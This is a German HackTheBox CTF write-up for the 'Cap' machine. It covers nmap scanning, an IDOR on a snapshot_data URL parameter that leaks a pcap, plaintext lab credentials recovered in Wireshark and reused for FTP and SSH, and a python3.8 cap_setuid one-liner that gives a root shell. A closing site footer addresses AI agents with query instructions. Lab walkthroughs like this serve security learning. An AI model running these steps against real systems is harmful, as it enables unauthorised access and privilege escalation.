> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/cap-hackthebox-writeup.md).

# Cap HackTheBox-Lösungsbericht

{% embed url="<https://app.hackthebox.com/machines/Cap>" %}

{% hint style="warning" %}
Fähigkeiten:

* Unsichere Directory-Objekt-Referenz (IDOR)
* Informationsleck
* Missbrauch von Capabilities (Python 3.8) (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/744400c95c480f9c832cf15e2e0ad20633a636ce" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/d46e874875bc29c5d0857859378236c9c45cab64" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.245 -oG allPorts
```

<figure><img src="/files/013caf60c02c71267ea879d98a805453293bb148" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (21,22,80)

<figure><img src="/files/81eeda05bd26d2512898399b8fa9f51840c8992c" alt=""><figcaption></figcaption></figure>

#### Versionsscan der Ports mit Nmap:

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p21,22,80 10.10.10.245 -oN targeted
```

<figure><img src="/files/247cc739184b1000af0595e54b17483fc44bd08b" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/a2b12d8c10127bc399a82857b54a0606be2b4ed5" alt=""><figcaption></figcaption></figure>

Wir greifen auf den HTTP-Dienst zu und entdecken einen Abschnitt namens **Sicherheits-Schnappschuss**. Dieser Abschnitt ermöglicht es Ihnen, zu erstellen und herunterzuladen **pcap** Dateien mit Systemprotokollen.

<figure><img src="/files/070571f7470a1d46d9c0eaa3f30f840052db499e" alt=""><figcaption></figcaption></figure>

## IDOR-Schwachstelle

**Erste Beobachtung**

Nach der Analyse der **pcap** Dateien mit Wireshark wurde kein direkt verwendbarer Inhalt gefunden.

<figure><img src="/files/e97ffb33135d7ec9968a9fe2eea7406de85c3328" alt=""><figcaption></figcaption></figure>

Allerdings stellen wir fest, dass jedes Mal, wenn eine Datei heruntergeladen wird, ein **Schnappschuss** erstellt wird. Die entsprechende URL enthält einen Parameter, der die Schnappschuss-ID angibt, zum Beispiel: `snapshot_data=2`.

<figure><img src="/files/0e9404ff9809d3238cc432562595f6fe52e1479a" alt=""><figcaption></figcaption></figure>

Durch das manuelle Ändern des URL-Parameters, um auf Schnappschuss 0 zuzugreifen, erhalten wir eine Datei mit sensiblen Informationen.

### **Analyse mit Wireshark**

Durch die Untersuchung der Frames in der **pcap** Datei identifizieren wir die Zugangsdaten eines Benutzers:

* Benutzername: `nathan`
* Passwort: `Buck3tH4TF0RM3!`

<figure><img src="/files/aae7f1f3742aeef71adee36bd0508da1413998bf" alt=""><figcaption></figcaption></figure>

#### Verwendung der Zugangsdaten

**FTP-Zugriff**

Wir verwenden die Zugangsdaten, um eine Verbindung zum FTP-Dienst herzustellen:

Verbindung erfolgreich. Wir rufen die **user.txt** Datei ab, die die erste Flag enthält.

<figure><img src="/files/8cde68170a97f6e239a92a1ac4ca4b2a3170a7b0" alt=""><figcaption></figcaption></figure>

**SSH-Zugriff**

Durch das Testen derselben Zugangsdaten für eine SSH-Verbindung erhalten wir vollständigen Zugriff:

```bash
ssh nathan@10.10.10.245
Buck3tH4TF0RM3!
```

<figure><img src="/files/695835e5a4885cb4144f6641aa7571f50b938086" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

### Schwachstelle Capabilities Python3.8

#### Filtern **Capabilities**:

Wenn wir nach Capabilities filtern, erscheint Python 3.8:

```bash
getcap -r / 2>/dev/null
```

<figure><img src="/files/424e8d2777a261383fe5f777813ee634c50443fa" alt="" width="554"><figcaption></figcaption></figure>

Verwenden Sie [GTFOBins](https://gtfobins.github.io/) als Referenz.

```bash
python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
```

<figure><img src="/files/5e2f6c668c62321e58837911d1e066053b240908" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/6bf8dd123338500fd4088bfab4c264e4586f153b" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/2cbfc15dbbb32c4779257e4fd3d9e4f573b32ae7" alt="" width="482"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/cap-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
